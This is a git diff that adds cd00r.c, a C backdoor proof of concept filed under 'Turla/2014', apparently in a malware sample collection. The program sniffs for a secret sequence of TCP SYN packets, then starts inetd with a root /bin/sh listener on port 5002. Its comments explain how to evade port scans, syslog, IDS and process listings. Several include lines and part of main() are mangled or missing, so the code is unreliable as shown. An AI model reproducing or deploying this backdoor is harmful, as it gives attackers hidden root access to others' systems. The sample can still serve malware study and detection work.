diff --git a/Turla/2014/cd00r.c b/Turla/2014/cd00r.c new file mode 100644 index 0000000..ead7679 --- /dev/null +++ b/Turla/2014/cd00r.c @@ -0,0 +1,520 @@ +/* cdoor.c + * packet coded backdoor + * + * FX of Phenoelit + * http://www.phenoelit.de/ + * (c) 2k + * + * $Id: cd00r.c,v 1.3 2000/06/13 17:32:24 fx Exp fx $ + * + * + 'cd00r.c' is a proof of concept code to test the idea of a + completely invisible (read: not listening) backdoor server. + + Standard backdoors and remote access services have one major problem: + The port's they are listening on are visible on the system console as + well as from outside (by port scanning). + + The approach of cd00r.c is to provide remote access to the system without + showing an open port all the time. This is done by using a sniffer on the + specified interface to capture all kinds of packets. The sniffer is not + running in promiscuous mode to prevent a kernel message in syslog and + detection by programs like AnitSniff. + To activate the real remote access service (the attached code starts an + inetd to listen on port 5002, which will provide a root shell), one has to + send several packets (TCP SYN) to ports on the target system. Which ports + in which order and how many of them can be defined in the source code. + + When port scanning the target, no open port will show up because there is + no service listening. After sending the right SYN packets to the system, + cd00r starts the listener and the port(s) is/are open. One nice side effect + is, that cd00r does not care whenever the port used as code is open or not. + Services running on ports used as code are still fully functional, but it's + not a very good idea to use these ports as explained later. + + The best way to send the required SYN packets to the system is + the use of nmap: + ./nmap -sS -T Polite -p,, + NOTE: the Polite timing ensures, that nmap sends the packets serial as + defined. + + Details: + Prevention of local detection is done by several things: + First of all, the program gives no messages et all. It accepts only one + configurable command line option, which will show error messages for + the sniffer functions and other initialization stuff before + the first fork(). + All configuration is done in the first part of the source code as #defines. + This leaves the target system without configuration files and the process + does not show any command line options in the process table. When renaming + the binary file to something like 'top', it is nearly invisible. + + The sniffer part of the code uses the LBNL libpcap and it's good filter + functionality to prevent uninteresting traffic from entering the much + slower test functions. By selecting higher, usually not used, ports as + part of the code, the sniffer consumes nearly no processing time et all. + + Prevention of remote detection is primary the responsibility of the + 'user'. By selecting more then 8 ports in changing order and in the + higher range (>20000), it is nearly impossible to brute force these + without rendering the system useless. + Several configurable options support the defense against remote attacks: + cd00r can look at the source address and (if defined) resets the code if + a packet from another location arrives. By not using this function, one + can activate the remote shell by sending the right packets from several + systems, hereby flying below the IDS radar. + Another feature is to reset or not reset the list of remaining ports + (code list), if a false packet arrives. On heavy loaded systems this + can happen often and would prevent the authorized sender to activate + the remote shell. Again, when flying below the IDS radar, such + functionality can be counterproductive because the usual way to + prevent detection by an IDS is to send packets with long delays. + + What action cd00r actually takes is open to the user. The function + cdr_open_door() is called without any argument. It fork()s twice + to prevent zombies. Just add your code after the fork()s. + + The functionality outlined in these lines of terrific C source can + be used for booth sides of the security game. If you have a system + somewhere in the wild and you don't like to show open ports (except + the usual httpd ;-) to the world, you may consider some modifications, + so cd00r will provide you with a running ssh. + On the other hand, one may like to create a backchanel, therefor never + providing any kind of listening port on the system. + + Even the use of TCP SYN packets is just an example. Using the sniffer, + one can easily change the opening conditions to something like two SYN, one + ICMP echo request and five UDP packets. I personally like the TCP/SYN stuff + because it has many possible permutations without changing the code. + + Compile it as: + + gcc -o -I/where/ever/bpf -L/where/ever/bpf cd00r.c -lpcap + + of for some debug output: + + gcc -DDEBUG -o -I/where/ever/bpf -L/where/ever/bpf cd00r.c -lpcap + + */ + + +/* cd00r doesn't use command line arguments or a config file, because this + * would provide a pattern to look for on the target systems + * + * instead, we use #defines to specifiy variable parameters such as interface + * to listen on and perhaps the code ports + */ + +/* the interface tp "listen" on */ +#define CDR_INTERFACE "eth0" +/* the address to listen on. Comment out if not desired + * NOTE: if you don't use CDR_ADDRESS, traffic FROM the target host, which + * matches the port code also opens the door*/ +/* #define CDR_ADDRESS "192.168.1.1" */ + +/* the code ports. + * These are the 'code ports', which open (when called in the right order) the + * door (read: call the cdr_open_door() function). + * Use the notation below (array) to specify code ports. Terminate the list + * with 0 - otherwise, you really have problems. + */ +#define CDR_PORTS { 200,80,22,53,3,00 } + +/* This defines that a SYN packet to our address and not to the right port + * causes the code to reset. On systems with permanent access to the internet + * this would cause cd00r to never open, especially if they run some kind of + * server. Additional, if you would like to prevent an IDS from detecting your + * 'unlock' packets as SYN-Scan, you have to delay them. + * On the other hand, not resetting the code means that + * with a short/bad code the chances are good that cd00r unlocks for some + * random traffic or after heavy portscans. If you use CDR_SENDER_ADDR these + * chances are less. + * + * To use resets, define CDR_CODERESET + */ +#define CDR_CODERESET + +/* If you like to open the door from different addresses (e.g. to + * confuse an IDS), don't define this. + * If defined, all SYN packets have to come from the same address. Use + * this when not defining CDR_CODERESET. + */ +#define CDR_SENDER_ADDR + +/* this defines the one and only command line parameter. If given, cd00r + * reports errors befor the first fork() to stderr. + * Hint: don't use more then 3 characters to pervent strings(1) fishing + */ +#define CDR_NOISE_COMMAND "noi" + + +/**************************************************************************** + * Nothing to change below this line (hopefully) + ****************************************************************************/ +#include +#include +#include +#include +#include +#include /* for IPPROTO_bla consts */ +#include /* for inet_ntoa() */ +#include /* for inet_ntoa() */ +#include /* for gethostbyname() */ +#include /* for wait() */ +#include /* for wait() */ + +#include +#include + +#define ETHLENGTH 14 +#define IP_MIN_LENGTH 20 +#define CAPLENGTH 98 + + + +struct iphdr { + u_char ihl:4, /* header length */ + version:4; /* version */ + u_char tos; /* type of service */ + short tot_len; /* total length */ + u_short id; /* identification */ + short off; /* fragment offset field */ + u_char ttl; /* time to live */ + u_char protocol; /* protocol */ + u_short check; /* checksum */ + struct in_addr saddr; + struct in_addr daddr; /* source and dest address */ +}; + +struct tcphdr { + unsigned short int src_port; + unsigned short int dest_port; + unsigned long int seq_num; + unsigned long int ack_num; + unsigned short int rawflags; + unsigned short int window; + long int crc_a_urgent; + long int options_a_padding; +}; + +/* the ports which have to be called (by a TCP SYN packet), before + * cd00r opens + */ +unsigned int cports[] = CDR_PORTS; +int cportcnt = 0; +/* which is the next required port ? */ +int actport = 0; + +#ifdef CDR_SENDER_ADDR +/* some times, looking at sender's address is desired. + * If so, sender's address is saved here */ +struct in_addr sender; +#endif CDR_SENDER_ADDR + +/******** + * cdr_open_door() is called, when all port codes match + * This function can be changed to whatever you like to do when the system + * accepts the code + ********/ +void cdr_open_door(void) { + FILE *f; + + char *args[] = {"/usr/sbin/inetd","/tmp/.ind",NULL}; + + switch (fork()) { + case -1: +#ifdef DEBUG + printf("fork() failed ! Fuck !\n"); +#endif DEBUG + return; + case 0: + /* To prevent zombies (inetd-zombies look quite stupid) we do + * a second fork() */ + switch (fork()) { + case -1: _exit(0); + case 0: /*that's fine */ + break; + default: _exit(0); + } + break; + + default: + wait(NULL); + return; + } + + if ((f=fopen("/tmp/.ind","a+t"))==NULL) return; + fprintf(f,"5002 stream tcp nowait root /bin/sh sh\n"); + fclose(f); + + execv("/usr/sbin/inetd",args); +#ifdef DEBUG + printf("Strange return from execvp() !\n"); +#endif DEBUG + exit (0); + +} + + +/* error function for pcap lib */ +void capterror(pcap_t *caps, char *message) { + pcap_perror(caps,message); + exit (-1); +} + +/* signal counter/handler */ +void signal_handler(int sig) { + /* the ugly way ... */ + _exit(0); +} + +void *smalloc(size_t size) { + void *p; + + if ((p=malloc(size))==NULL) { + exit(-1); + } + memset(p,0,size); + return p; +} + + +/* general rules in main(): + * - errors force an exit without comment to keep the silence + * - errors in the initialization phase can be displayed by a + * command line option + */ +int main (int argc, char **argv) { + + /* variables for the pcap functions */ +#define CDR_BPF_PORT "port " +#define CDR_BPF_ORCON " or " + char pcap_err[PCAP_ERRBUF_SIZE]; /* buffer for pcap errors */ + pcap_t *cap; /* capture handler */ + bpf_u_int32 network,netmask; + struct pcap_pkthdr *phead; + struct bpf_program cfilter; /* the compiled filter */ + struct iphdr *ip; + struct tcphdr *tcp; + u_char *pdata; + /* for filter compilation */ + char *filter; + char portnum[6]; + /* command line */ + int cdr_noise = 0; + /* the usual int i */ + int i; + /* for resolving the CDR_ADDRESS */ +#ifdef CDR_ADDRESS + struct hostent *hent; +#endif CDR_ADDRESS + + + + /* check for the one and only command line argument */ + if (argc>1) { + if (!strcmp(argv[1],CDR_NOISE_COMMAND)) + cdr_noise++; + else + exit (0); + } + + /* resolve our address - if desired */ +#ifdef CDR_ADDRESS + if ((hent=gethostbyname(CDR_ADDRESS))==NULL) { + if (cdr_noise) + fprintf(stderr,"gethostbyname() failed\n"); + exit (0); + } +#endif CDR_ADDRESS + + /* count the ports our user has #defined */ + while (cports[cportcnt++]); + cportcnt--; +#ifdef DEBUG + printf("%d ports used as code\n",cportcnt); +#endif DEBUG + + /* to speed up the capture, we create an filter string to compile. + * For this, we check if the first port is defined and create it's filter, + * then we add the others */ + + if (cports[0]) { + memset(&portnum,0,6); + sprintf(portnum,"%d",cports[0]); + filter=(char *)smalloc(strlen(CDR_BPF_PORT)+strlen(portnum)+1); + strcpy(filter,CDR_BPF_PORT); + strcat(filter,portnum); + } else { + if (cdr_noise) + fprintf(stderr,"NO port code\n"); + exit (0); + } + + /* here, all other ports will be added to the filter string which reads + * like this: + * port <1> or port <2> or port <3> ... + * see tcpdump(1) + */ + + for (i=1;ilen<=(ETHLENGTH+IP_MIN_LENGTH)) continue; + + /* make it an ip packet */ + ip=(struct iphdr *)(pdata+ETHLENGTH); + /* if the packet is not IPv4, continue */ + if ((unsigned char)ip->version!=4) continue; + /* make it TCP */ + tcp=(struct tcphdr *)(pdata+ETHLENGTH+((unsigned char)ip->ihl*4)); + + /* FLAG check's - see rfc793 */ + /* if it isn't a SYN packet, continue */ + if (!(ntohs(tcp->rawflags)&0x02)) continue; + /* if it is a SYN-ACK packet, continue */ + if (ntohs(tcp->rawflags)&0x10) continue; + +#ifdef CDR_ADDRESS + /* if the address is not the one defined above, let it be */ + if (hent) { +#ifdef DEBUG + if (memcmp(&ip->daddr,hent->h_addr_list[0],hent->h_length)) { + printf("Destination address mismatch\n"); + continue; + } +#else + if (memcmp(&ip->daddr,hent->h_addr_list[0],hent->h_length)) + continue; +#endif DEBUG + } +#endif CDR_ADDRESS + + /* it is one of our ports, it is the correct destination + * and it is a genuine SYN packet - let's see if it is the RIGHT + * port */ + if (ntohs(tcp->dest_port)==cports[actport]) { +#ifdef DEBUG + printf("Port %d is good as code part %d\n",ntohs(tcp->dest_port), + actport); +#endif DEBUG +#ifdef CDR_SENDER_ADDR + /* check if the sender is the same */ + if (actport==0) { + memcpy(&sender,&ip->saddr,4); + } else { + if (memcmp(&ip->saddr,&sender,4)) { /* sender is different */ + actport=0; +#ifdef DEBUG + printf("Sender mismatch\n"); +#endif DEBUG + continue; + } + } +#endif CDR_SENDER_ADDR + /* it is the rigth port ... take the next one + * or was it the last ??*/ + if ((++actport)==cportcnt) { + /* BINGO */ + cdr_open_door(); + actport=0; + } /* ups... some more to go */ + } else { +#ifdef CDR_CODERESET + actport=0; +#endif CDR_CODERESET + continue; + } + } /* end of main loop */ + + /* this is actually never reached, because the signal_handler() does the + * exit. + */ + return 0; +}